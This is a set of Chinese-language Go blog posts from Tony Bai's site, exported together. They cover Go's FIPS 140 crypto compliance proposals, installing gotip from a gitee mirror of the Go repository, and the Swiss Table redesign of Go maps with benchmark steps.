1.23.x版本)，Go原生的crypto包并不具备FIPS认证。并且，在2017年的一个名为”crypto: FIPS 140-2 Certification“的issue中，Go密码学领域的首任技术负责人Adam Langley给出了这样的答复：\n从Adam Langley的表述中可以看出，他似乎对FIPS 140这样的官方标准持有一种不屑的态度。同时他也指出对于FIPS 140认证感兴趣的开发者，可以尝试使用dev.boringcrypto分支。\ndev.boringcrypto分支是什么呢？它又是如何实现FPIS 140合规的呢？其实思路很简单，那就是：既然我暂时是不合规的，那我就找一个合规的，然后包装一下提供给开发者使用。\n那么什么库是合规的呢？BoringSSL，也就是Google fork的OpenSSL库的自维护版本，更精确地一点是BoringSSL库的一部分内容通过了FIPS 140-2认证：\n截图来自Google Cloud blog\n而通过认证的这部分模块被称为BoringCrypto：\n截图来自NIST官网\nGo dev.boringcrypto分支就是通过BoringSSL的binding来实现FIPS 140合规的，通过导入crypto/tls/fipsonly包，可以将所有TLS配置限制为FIPS合规设置，确保使用合规的加密算法。下面是Go 1.23.0中crypto/tls/fipsonly下fipsonly.go的源码，我们可以看到它实际上使用的是crypto/internal/boring下面的合规包：\n// Copyright 2017 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. //go:build boringcrypto // Package fipsonly restricts all TLS configuration to FIPS-approved settings. // // The effect is triggered by importing the package anywhere in a program, as in: // // import _ \u0026#34;crypto/tls/fipsonly\u0026#34; // // This package only exists when using Go compiled with GOEXPERIMENT=boringcrypto. package fipsonly // This functionality is provided as a side effect of an import to make // it trivial to add to an existing program. It requires only a single line // added to an existing source file, or it can be done by adding a whole // new source file and not modifying any existing source files. import ( \u0026#34;crypto/internal/boring/fipstls\u0026#34; \u0026#34;crypto/internal/boring/sig\u0026#34; ) func init() { fipstls.Force() sig.FIPSOnly() } 从Go 1.8开始，Go都会在发布大版本时建立对应该大版本的dev.boriingcrypto分支，如下图：\n但Go官方在Go 1.18版本之后似乎就不维护这个分支了。微软也恰是从那时(2022年初)开始fork了Go repo并维护自己的fips合规版本，在Linux上，该Fork使用OpenSSL的Go binding进行加密，而在Windows上使用CNG（Cryptography Next Generation）。\n注：尽管使用微软的Go工具链构建的应用程序可以在FIPS兼容模式下运行，但这并不意味着自动符合FIPS认证。开发团队需确保使用FIPS合规的加密原语及工作流程。如果无法提供FIPS合规的实现，修改后的加密运行时将回退到Go标准库的加密方法，如使用crypto/md5或非标准nonce大小的AES-GCM等。\n由于BoringSSL是C语言的，Go dev.boringcrypto分支势必要依赖cgo，将部分加密包的内部实现替换为通过FIPS 140认证的模块。但这种方案存在许多问题，如内存不安全代码、影响Go版本更新、性能问题和开发体验等。于是就有了文前提到的旨在移除BoringCrypto的Go团队的新提案。\n新提案的内容是什么呢？下面我们就来细致看看。\n3. Go加密库原生支持FIPS 140认证的提案 根据Go加密库上一任Tech leader Filippo Valsorda在proposal: crypto: mechanism to enable FIPS mode中的描述，Go团队希望为Go加密库实现FIPS 140-3认证，并允许开发者启用或禁用FIPS模式，以满足合规性要求。\n该proposal建议在运行时通过设置GODEBUG标志来启用FIPS模式，新增GODEBUG=fips140选项。并且通过GODEBUG=fips140的值可以控制FIPS模式：\non为启用FIPS模式。 only：仅允许使用经过批准的加密算法，其他非批准算法将返回错误。 enforce（该值依然在讨论中）：它会强制执行使用FIPS合规算法，非批准算法将返回错误或导致程序崩溃。 在代码层面，新增crypto/fips140包或放在crypto/internal/fips下，其中包含Enabled() bool函数，用于运行时检查当前是否启用了FIPS模式。\nRuss Cox之后在”proposal: cmd/go: add fips140 module selection mechanism“的issue中着重阐述了在Go module层面对fips 140的支持策略，目前仍在更新中，根据Russ Cox 2024.11.11的最新comment，当前设计的策略大致如下：\n引入新的目标配置环境变量GOFIPS140用于构建工具链（替代之前在propsal中考虑新增的-fips140命令行标志） 该环境变量可取值为off、latest、inprocess、certified或v1.X.Y-fips.N，默认值为off。使用go version -m或获取debug.BuildInfo时，可显示新的构建设置GOFIPS140，其值为off、devel或具体的版本号。\n- off（默认）：使用最新源代码，GODEBUG设置为fips140=off。 - latest：使用最新源代码，GODEBUG设置为fips140=on。 - v1.X.Y-fips.N：使用指定的快照。 - inprocess：使用正在进行FIPS标准认证的版本。 - certified：使用经过NIST的FIPS认证的版本。 不将FIPS代码视为module 用户不可见的API或工具将不会将crypto/internal/fips代码视为module。在运行go list时，crypto/internal/fips/…的包可以来自\\$GOROOT/src/crypto/internal/fips/…或module cache中的目录，Module字段将为nil，与标准库其他部分一致。\n版本管理与模块系统的分离 尽管crypto/internal/fips有语义版本控制的版本集合，但它们与Go模块系统完全分离。存在于lib/fips140中的文件将采用实现定义(implementation-defined)的格式，尽管其格式很可能采用module zip和checksum的形式。\n以上策略的实施将增强Go在FIPS 140支持方面的灵活性和可控性，为开发者提供了更清晰的配置选项。通过将FIPS 支持的配置独立于模块系统，开发者可以更方便地管理构建环境，避免潜在的配置冲突。\n并且按照Russ Cox的说法，Go团队计划每年进行一次Go加密库的重新验证，以保持模块的合规性和及时更新。\n4. 小结 本文探讨了Go语言加密库在FIPS 140标准支持方面的现状及未来发展。FIPS 140是美国政府制定的一套加密模块安全标准，目前的版本为FIPS 140-3，涵盖了最新的安全要求。\n我们详细分析了Go加密库的现状，包括通过BoringSSL实现FIPS 140合规的dev.boringcrypto分支，以及微软维护的FIPS 140合规Go Fork版本。此外，Go团队还提出了针对FIPS 140-3认证的新提案，旨在允许开发者在运行时灵活启用或禁用FIPS模式。这一新提案的实施将为Go提供更大的合规灵活性，并为开发者提供清晰的配置选项，从而增强Go在受监管环境中的吸引力和实用性。\n目前，关于Go加密库对FIPS 140支持的相关事项仍处于提案阶段，具体思路和实现细节可能会随着进一步的发展而变化。然而，本文通过对FIPS认证的介绍以及Go加密库未来计划的阐述，相信读者已经初步掌握了选择Go加密模块和满足合规性需求的有用信息。\n如果你有什么疑问，欢迎在评论区留言，通过讨论碰撞，我们一起进步和成长！\n5. 参考资料 FIPS 140 – https://en.wikipedia.org/wiki/FIPS_140 crypto: obtain a FIPS 140-3 validation – https://github.com/golang/go/issues/69536 proposal: crypto: mechanism to enable FIPS mode – https://github.com/golang/go/issues/70123 proposal: cmd/go: add fips140 module selection mechanism – https://github.com/golang/go/issues/70200 Crypto FIPS 140-2 support – https://github.com/microsoft/go/blob/microsoft/main/eng/doc/fips/README.md BoringSSL FIPS 140-2 – https://boringssl.googlesource.com/boringssl/+/master/crypto/fipsmodule/FIPS.md CMVP: Certificate #4407 – https://csrc.nist.gov/projects/cryptographic-module-validation-program/certificate/4407 FIPS 140-2 Validated – https://cloud.google.com/security/compliance/fips-140-2-validated Google, LLC BoringCrypto FIPS 140-2 Non-Proprietary Security Policy – https://csrc.nist.gov/CSRC/media/projects/cryptographic-module-validation-program/documents/security-policies/140sp3678.pdf Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/11/16/go-crypto-and-fips-140/","summary":"\u003cp\u003e\u003cimg alt=\"Image 39\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-crypto-and-fips-140-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/11/16/go-crypto-and-fips-140\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/11/16/go-crypto-and-fips-140\"\u003ehttps://tonybai.com/2024/11/16/go-crypto-and-fips-140\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在今年3月份，\u003ca href=\"https://devblogs.microsoft.com/go/welcome-to-the-microsoft-for-go-developers-blog/\"\u003eMicrosoft Azure团队宣布开设Go开发人员博客\u003c/a\u003e，旨在向开发者通报Microsoft在Go领域的最新动态，包括如何在Azure上部署Go工作负载以及与Go编程相关的文章。\u003c/p\u003e","title":"走向合规：Go加密库对FIPS 140的支持"},{"content":"Gotip安装：基于Go镜像代码仓库 | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 Gotip安装：基于Go镜像代码仓库 十一月 15, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/11/15/install-gotip-using-go-repo-mirror\n在《Go map使用Swiss Table重新实现，性能最高提升近50%》一文中，我曾使用过Gotip版本对基于Swiss table的新map实现做过benchmark测试。\n有过几年Go开发经验的Gopher都知道Gotip版本是啥，但一些初学者可能并不十分清楚。Gotip版本可以理解为Go语言的devel版本，是支持开发者全面体验Go最新特性的主流方法之一，而另外一种方法则是通过Go官网提供的在线Playground(选择Go dev branch，如下图)体验：\n不过通过Go playground方法体验Go最新特性会受到各种限制，比如只能体验单一源文件、无法跑benchmark test等。\nGotip本质上就是基于Go repo最新主干代码进行构建的Go版本，为了降低Gopher体验Go最新特性的门槛，Go团队让大家可以通过go install来安装Gotip。如今我们只需两行命令(前提是你的机器上已经有了某个版本的Go)就可以将Gotip安装到自己的机器上：\n$go install golang.org/dl/gotip@latest $gotip download 然而，Gotip版本的本质决定了它在国内的安装过程不会一帆风顺。你在国内执行上述的第二条命令时，很可能会看到如下输出：\n$ gotip download 正克隆到 \u0026#39;/root/sdk/gotip\u0026#39;... fatal: 无法访问 \u0026#39;https://go.googlesource.com/go/\u0026#39;：Failed connect to go.googlesource.com:443; 连接超时 gotip: failed to clone git repository: exit status 128 这表明gotip尝试从Google的Go代码仓库克隆代码到本地，但由于众所周知的原因，这一过程常常会失败。\n如果屏幕前的你拥有高速的加速器，那么你现在就可以关闭窗口，无需再阅读下面的内容了。但如果你没有，或者你需要在没有加速器的服务器或PC上使用Gotip，那还是请继续读下去。\n现在问题就摆在你我面前：如何能让Gotip能成功clone到Go源码呢？一个很容易想到的思路：让Gotip从其他可达的地方clone Go源码不就行了吗？\n假设这个思路可行，需要满足以下两个条件：\nGotip支持从其他地方clone Go源码 国内有一个可达的、快速的Go源码mirror仓库 我们评估一下可行性，先来看第一个条件。Gotip支持传入某些命令行参数并从其他地方clone Go源码么？看看它的usage吧！\n$gotip gotip: not downloaded. Run \u0026#39;gotip download\u0026#39; to install to /root/sdk/gotip $gotip -h gotip: not downloaded. Run \u0026#39;gotip download\u0026#39; to install to /root/sdk/gotip $gotip download 2 3 4 gotip: usage: gotip download [CL number | branch name] 我们看到：官方版gotip的usage隐藏“很深”啊(有改进空间哦)！并且，gotip并不支持传入任何mirror仓库的命令行标志或参数。不过好在gotip是开源的，在github.com/golang/dl下可以找到gotip的源码，我们只需要fork并修改一下应该就可以了。\n那么第二个条件呢？国内是否有一个可达的、快速的Go源码mirror仓库呢？很遗憾，没有现成的。不过，我们可以手工从github.com/golang/go上下载仓库，然后再push到国内任一家代码托管站点上即可，虽然这么做有些费时费力。好在，国内的码云(gitee.com)提供了一个导入外部仓库并同步的功能，我们可以在码云上直接导入github.com/golang/go，比如我这里就建立了一个公共库并同步了golang/go：gitee.com/bigwhite/go：\n综上这个方案是可行的。\n接下来就是将上面的方案思路付诸实现了。我fork了github.com/golang/dl到github.com/bigwhite/dl，然后修改了其中的internal/version/gotip.go文件：将https://go.googlesource.com/go改为了https://gitee.com/bigwhite/go.git。\n接下来，我们就可以通过下面命令构建一个自己定制的gotip：\n$go build -o gotip-gitee golang.org/dl/gotip 这里要注意的是：直接go build golang.org/dl/gotip会报错，因为在顶层目录下存在了gotip这个子目录，与目标可执行文件重名了，所以这里重命名了目标可执行文件。为了方便，我又在github.com/bigwhite/dl下加了一个Makefile，大家只需执行make gotip即可。\n注：这是一个很好的向Go项目贡献自己代码的机会，大家可以向Go项目提交PR，为gotip增加类似-m (mirror site)的命令行参数，以支持从第三方Go repo镜像站点下载Go源码并完成gotip的构建和安装过程。\n接下来我们就来继续gotip的安装过程：\n$ ./gotip-gitee download 正克隆到 \u0026#39;/root/sdk/gotip\u0026#39;... remote: Enumerating objects: 14793, done. remote: Counting objects: 100% (14793/14793), done. remote: Compressing objects: 100% (11974/11974), done. remote: Total 14793 (delta 2629), reused 10541 (delta 2221), pack-reused 0 接收对象中: 100% (14793/14793), 29.30 MiB | 9.50 MiB/s, 完成. 处理 delta 中: 100% (2629/2629), 完成. Updating the go development tree... 来自 https://gitee.com/bigwhite/go * branch master -\u0026gt; FETCH_HEAD HEAD 目前位于 84e58c8 cmd/internal/obj: add tool to generate Cnames string Building Go cmd/dist using /root/.bin/go1.23.0. (go1.23.0 linux/amd64) Building Go toolchain1 using /root/.bin/go1.23.0. Building Go bootstrap cmd/go (go_bootstrap) using Go toolchain1. Building Go toolchain2 using go_bootstrap and Go toolchain1. Building Go toolchain3 using go_bootstrap and Go toolchain2. Building packages and commands for linux/amd64. --- Installed Go for linux/amd64 in /root/sdk/gotip Installed commands in /root/sdk/gotip/bin Success. You may now run \u0026#39;gotip\u0026#39;! 这个编译和安装过程大概仅花费2-3分钟左右，非常快！一旦gotip安装完毕，你就可以直接使用gotip版本，体验Go最新特性了!\n$ gotip version go version devel go1.24-84e58c8 Wed Nov 13 05:02:13 2024 +0000 linux/amd64 我们来小结一下！在这篇文章中，我提供了一种在国内安装gotip版本的方法，供大家参考而已。如果你不喜欢使用gitee.com上的mirror仓库，你也可以直接使用github上的go镜像仓库，如果你觉得访问github还比较顺畅的话。\n当然屏幕前的读者可能有比我这里更好、更方便地在国内安装gotip版本的方法，也欢迎大家在评论区留言交流！\n注：如果你采用我的方法安装gotip，请自行在gitee.com上建立Go仓库的mirror仓库并按需同步。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/11/15/install-gotip-using-go-repo-mirror/","summary":"\u003ch1 id=\"gotip安装基于go镜像代码仓库--tony-bai\"\u003eGotip安装：基于Go镜像代码仓库 | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"gotip安装基于go镜像代码仓库\"\u003eGotip安装：基于Go镜像代码仓库\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e十一月 15, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/11/15/install-gotip-using-go-repo-mirror/#respond\" title=\"《Gotip安装：基于Go镜像代码仓库》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 33\" loading=\"lazy\" src=\"/images/wp-content/uploads/install-gotip-using-go-repo-mirror-1.png\"\u003e\u003c/p\u003e","title":"Gotip安装：基于Go镜像代码仓库"},{"content":"\n本文永久链接 – https://tonybai.com/2024/11/14/go-map-use-swiss-table\n在2024月11月5日的Go compiler and runtime meeting notes中，我们注意到了一段重要内容，如下图红框所示：\n这表明，来自字节的一位工程师在两年多前提出的“使用Swiss table重新实现Go map”的建议即将落地，目前该issue已经被纳入Go 1.24里程碑。\nSwiss Table是由Google工程师于2017年开发的一种高效哈希表实现，旨在优化内存使用和提升性能，解决Google内部代码库中广泛使用的std::unordered_map所面临的性能问题。Google工程师Matt Kulukundis在2017年CppCon大会上详细介绍了他们在Swiss Table上的工作：\n目前，Swiss Table已被应用于多种编程语言，包括C++ Abseil库的flat_hash_map(可替换std::unordered_map)、Rust标准库Hashmap的默认实现等。\nSwiss Table的出色表现是字节工程师提出这一问题的直接原因。字节跳动作为国内使用Go语言较为广泛的大厂。据issue描述，Go map的CPU消耗约占服务总体开销的4%。其中，map的插入（mapassign）和访问（mapaccess）操作的CPU消耗几乎是1:1。大家可千万不能小看4%这个数字，以字节、Google这样大厂的体量，减少1%也意味着真金白银的大幅节省。\nSwiss Table被视为解决这一问题的潜在方案。字节工程师初版实现的基准测试结果显示，与原实现相比，Swiss Table在查询、插入和删除操作上均提升了20%至50%的性能，尤其是在处理大hashmap时表现尤为突出；迭代性能提升了10%；内存使用减少了0%至25%，并且不再消耗额外内存。\n这些显著的性能提升引起了Go编译器和运行时团队的关注，特别是当时负责该子团队的Austin Clements。在经过两年多的实验和评估后，Go团队成员Michael Pratt基于Swiss Table实现的internal/runtime/maps最终成为Go map的底层默认实现。\n在本文中，我们将简单介绍Swiss Table这一高效的哈希表实现算法，并提前看一下Go map的Swiss Table实现。\n在进入swiss table工作原理介绍之前，我们先来回顾一下当前Go map的实现(Go 1.23.x)。\n1. Go map的当前实现 map，也称为映射，或字典，或哈希表，是和数组等一样的最常见的数据结构。实现map有两个关键的考量，一个是哈希函数(hash function)，另一个就是碰撞处理(collision handling)。hash函数是数学家的事情，这里不表。对于碰撞处理，在大学数据结构课程中，老师通常会介绍两种常见的处理方案：\n开放寻址法(Open Addressing) 在发生哈希碰撞时，尝试在哈希表中寻找下一个可用的位置，如下图所示k3与k1的哈希值发生碰撞后，算法会尝试从k1的位置开始向后找到一个空闲的位置：\n链式哈希法(拉链法, Chaining) 每个哈希桶(bucket)存储一个链表（或其他数据结构），所有哈希值相同的元素(比如k1和k3)都被存储在该链表中。\nGo当前的map实现采用的就是链式哈希，当然是经过优化过的了。要了解Go map的实现，关键把握住下面几点：\n编译器重写 我们在用户层代码中使用的map操作都会被Go编译器重写为对应的runtime的map操作，就如下面Go团队成员Keith Randall在GopherCon大会上讲解map实现原理的一个截图所示：\n链式哈希 前面提过，Go map当前采用的是链式哈希的实现，一个map在内存中的结构大致如下：\n来自Keith Randall的ppt截图\n我们看到，一个map Header代表了一个map类型的实例，map header中存储了有关map的元数据(图中字段与当前实现可能有少许差异，毕竟那是几年前的一个片子了)，如：\n- len: 当前map中键值对的数量。 - bucket array: 存储数据的bucket数组，可以对比前面的链式哈希的原理图进行理解，不过不同的是，Go map中每个bucket本身就可以存储多个键值对，而不是指向一个键值对的链表。 - hash seed: 用于哈希计算的种子，用于分散数据并提高安全性。 通常一个bucket可以存储8个键值对，这些键值对是根据键的哈希值分配到对应的bucket中。\n注：在《Go语言第一课》专栏中，有关于Go map工作原理的系统说明，感兴趣的童鞋可以看看。\n溢出桶(overflow bucket) 每个bucket后面还会有Overflow Bucket。当一个bucket中的数据超出容量时，会创建overflow bucket来存储多余的数据。这样可以避免直接扩展bucket数组，节省内存空间。但如果出现过多的overflow bucket，性能就会下降。\n“蚂蚁搬家”式的扩容 当map中出现过多overflow bucket而导致性能下降时，我们就要考虑map bucket扩容的事儿了，以始终保证map的操作性能在一个合理的范围。是否扩容由一个名为load factor的参数所控制。load factor是元素数量与bucket数量的比值，比值越高，map的读写性能越差。目前Go map采用了一个经验值来确定是否要扩容，即load factor = 6.5。当load factor超过这个值时，就会触发扩容。所谓扩容就是增大bucket数量(当前实现为增大一倍数量)，减少碰撞，让每个bucket中存放的element数量降下来。\n扩容需要对存量element做rehash，在元素数量较多的情况下，“一次性”的完成桶的扩容会造成map操作延迟“突增”，无法满足一些业务场景的要求，因此Go map采用“增量”扩容的方式，即在访问和插入数据时，“蚂蚁搬家”式的做点搬移元素的操作，直到所有元素完成搬移。\nGo map的当前实现应该可以适合大多数的场合，但依然有一些性能和延迟敏感的业务场景觉得Go map不够快，另外一个常被诟病的就是当前实现的桶扩容后就不再缩容(shrink)了，这会给内存带来压力。\n来自issue 20135的截图\n下面我们再来看看swiss table的结构和工作原理。\n2. Swiss table的工作原理 就像前面提到的，Swiss table并非来自某个大学或研究机构的论文，而是来自Google工程师在工程领域的”最佳实践”，因此关于Swiss table的主要资料都来自Google的开源C++ library Abseil以及开发者的演讲视频。在Abseil库中，它是flat_hash_map、flat_hash_set、node_hash_map以及node_hash_set等数据结构的底层实现，并且Swiss table的实现在2018年9月正式开源。\n和Go map当前实现不同，Swiss table使用的不是拉链法，而是开放寻址，但并非传统的方案。下面是根据公开资源画出的一个Swiss table的逻辑结构图(注意：并非真实内存布局)：\n如果用一个式子来表示Swiss table，我们可以用：\nA swiss table = N * (metdata array + slots array) 我们看到：swiss table将所谓的桶（这里叫slot）分为多个group，每个group中有16个slot，这也是swiss table的创新，即将开放寻址方法中的probing(探测key碰撞后下一个可用的位置(slot))放到一个16个slot的group中进行，这样的好处是可以通过一个SIMD指令并行探测16个slot，这种方法也被称为Group Probing。\n在上图中，我们看到一个Group由metadata和16个slot组成。metadata中存储的是元数据，而slot中存储的是元素(key和value)。Group probling主要是基于metadata实现的，Google工程师的演讲有对group probing实现的细节描述。\n当我们向swiss table插入一个元素或是查找一个元素时，swiss table会通过hash函数对key进行求值，结果是一个8字节(64bit)的数。和Go map的当前实现一样，这个哈希值的不同bit功用不同，下图是一个来自abseil官网的示例：\n哈希值的高57bit被称为H1，低7bit被称为H2。前者用于标识该元素在Group内的索引，查找和插入时都需要它。后者将被用于该元素的元数据，放在metadata中存储，用于快速的group probing之用，也被称为哈希指纹。\n每个Group的metadata也是一个16字节数组，每个字节对应一个slot，是该slot的控制字节。这个字节的8个bit位的组成如下：\n图来自abseil库官网\nmetadata中的控制字节有三个状态：\n最高位为1，其余全零为空闲状态(Empty)，即对应的slot尚未曾被任何element占据过； 最高位为0，后7位为哈希指纹(H2)，为对应的slot当前已经有element占据的已使用状态； 最高位为1，其他位为1111110的，为对应的slot为已删除状态，后续可以被继续使用。 下面是Abseil开发者演进slide中的一个针对swiss table的迭代逻辑：\n通过这幅图可以看出H1的作用。不过这里通过pos = pos + 1进行probing（探测）显然是不高效的！metadata之所以设计为如此，并保存了插入元素的哈希指纹就是为了实现高效的probing，下图演示了基于key的hash值的H2指纹通过SIMD指令从16个位置中快速得到匹配的pos的过程：\n虽然有两个匹配项，但这个过程就像“布隆过滤器”一样，快速排除了不可能的匹配项，减少了不必要的内存访问。\n由此也可以看到：swiss table的16个条目的分组大小不是随意选择的，而是基于SSE2寄存器长度(128bit, 16bytes)和现代CPU的缓存行大小(64字节)优化的，保证了一个Group的控制字节能被单次SIMD指令处理。\n此外swiss table也是通过load factor来判定是否需要对哈希表进行扩容，一旦扩容，swiss table通常是会将group数量增加一倍，然后重新计算当前所有元素在新groups中的新位置(rehash)，这个过程是有一定开销的。如果不做优化，当表中元素数量较多时，这个过程会导致操作延迟增加。\n最后，虽然多数情况是在group内做probing，但当元素插入时，如果当前Group已满，就必须探测到下一个Group，并将元素插入到下一个Group。这样，在该元素的查找操作中，probing也会跨group进行。\n到这里，我们已经粗略了解了swiss table的工作原理，那么Go tip对swiss table当前的实现又是怎样的呢？我们下面就来看看。\n3. Go tip版本当前的实现 Go tip版本基于swiss table的实现在https://github.com/golang/go/blob/master/src/internal/runtime/maps下。\n由于Go map是原生类型，且有了第一版实现，考虑到Go1兼容性，新版基于swiss table的实现也要继承已有的语义约束。同时，也要尽量避免swiss table自身的短板，Go团队在swiss table之上做了局部改进。比如为了将扩容带来的开销降到最低，Go引入了多table的设计，以支持渐进式扩容。也就是说一个map实际上是多个swiss table，而不是像上面说的一个map就是一个swiss table。每个table拥有自己的load factor，可以独立扩容(table的扩容是一次性扩容)，这样就可以将扩容的开销从全部数据变为局部少量数据，减少扩容带来的影响。\nGo swiss-table based map的逻辑结构大致如下：\n我们可以看出与C++ swisstable的最直观不同之处除了有多个table外，每个group包含8个slot和一个control word，而不是16个slot。此外，Go使用了二次探测(quadratic probing), 探测序列必须以空slot结束。\n为了实现渐进式扩容，数据分散在多个table中；单个table容量有上限(maxTableCapacity)，超过上限时分裂成两个table；使用可扩展哈希(extendible hashing)根据hash高位选择table，且每个table可以独立增长。\nGo使用Directory管理多个table，Directory是Table的数组，大小为2^globalDepth。如果globalDepth=2，那Directory最多有4个表，分为0×00、0×01、0×10、0×11。Go通过key的hash值的前globalDepth个bit来选择table。这是一种“extendible hashing”，这是一种动态哈希技术，其核心特点是通过动态调整使用的哈希位数(比如上面提到的globalDepth)来实现渐进式扩容。比如：初始可能只用1位哈希值来区分，需要时可以扩展到用2位，再需要时可以扩展到用3位，以此类推。\n举个例子，假设我们用二进制表示哈希值的高位，来看一个渐进式扩容的过程：\n初始状态 (Global Depth = 1): directory hash前缀 指向的table 0*** --\u0026gt; table1 (Local Depth = 1) 1*** --\u0026gt; table2 (Local Depth = 1) 当table1满了需要分裂时，增加一位哈希值 (Global Depth = 2): directory hash前缀 指向的table 00** --\u0026gt; table3 (Local Depth = 2) // 由table1扩容而成 01** --\u0026gt; table4 (Local Depth = 2) // 由table1扩容而成 10** --\u0026gt; table2 (Local Depth = 1) 11** --\u0026gt; table2 (Local Depth = 1) // 复用table2因为它的Local Depth还是1 如果table2也满了，需要分裂： directory hash前缀 指向的table 00** --\u0026gt; table3 (Local Depth = 2) 01** --\u0026gt; table4 (Local Depth = 2) 10** --\u0026gt; table5 (Local Depth = 2) // 由table2扩容而成 11** --\u0026gt; table6 (Local Depth = 2) // 由table2扩容而成 通过extendible hashing实现的渐进式扩容，每次只处理一部分数据，扩容过程对其他操作影响小，空间利用更灵活。\n对于新版go map实现而言，单个Table达到负载因子阈值时触发Table扩容。当需要分裂的Table的localDepth等于map的globalDepth时触发Directory扩容，这就好理解了。\n除此之外，Go版本对small map也有特定优化，比如少量元素(\u0026lt;=8)时直接使用单个group，避免或尽量降低swiss table天生在少量元素情况下的性能回退问题。\n更多实现细节，大家可以自行阅读https://github.com/golang/go/blob/master/src/internal/runtime/maps/下的Go源码进行理解。\n注：目前swiss table版的go map依然还未最终定型，并且后续还会有各种优化加入，这里只是对当前的实现(2024.11.10)做概略介绍，不代表以后的map实现与上述思路完全一致。\n4. Benchmark 目前gotip版本中GOEXPERIMENT=swissmap默认已经打开，我们直接用gotip版本即可体验基于swiss table实现的map。\n字节工程师zhangyunhao的gomapbench repo提供了对map的性能基准测试代码，不过这个基准测试太多，我大幅简化了一下，只使用Int64，并只测试了元素个数分别为12、256和8192时的情况。\n注：我基于Centos 7.9，使用Go 1.23.0和gotip(devel go1.24-84e58c8 linux/amd64)跑的benchmark。\n// 在experiments/swiss-table-map/mapbenchmark目录下 $go test -run=\u0026#39;^$\u0026#39; -timeout=10h -bench=. -count=10 \u0026gt; origin-map.txt $GOEXPERIMENT=swissmap gotip test -run=\u0026#39;^$\u0026#39; -timeout=10h -bench=. -count=10 \u0026gt; swiss-table-map.txt $benchstat origin-map.txt swiss-table-map.txt \u0026gt; result.txt 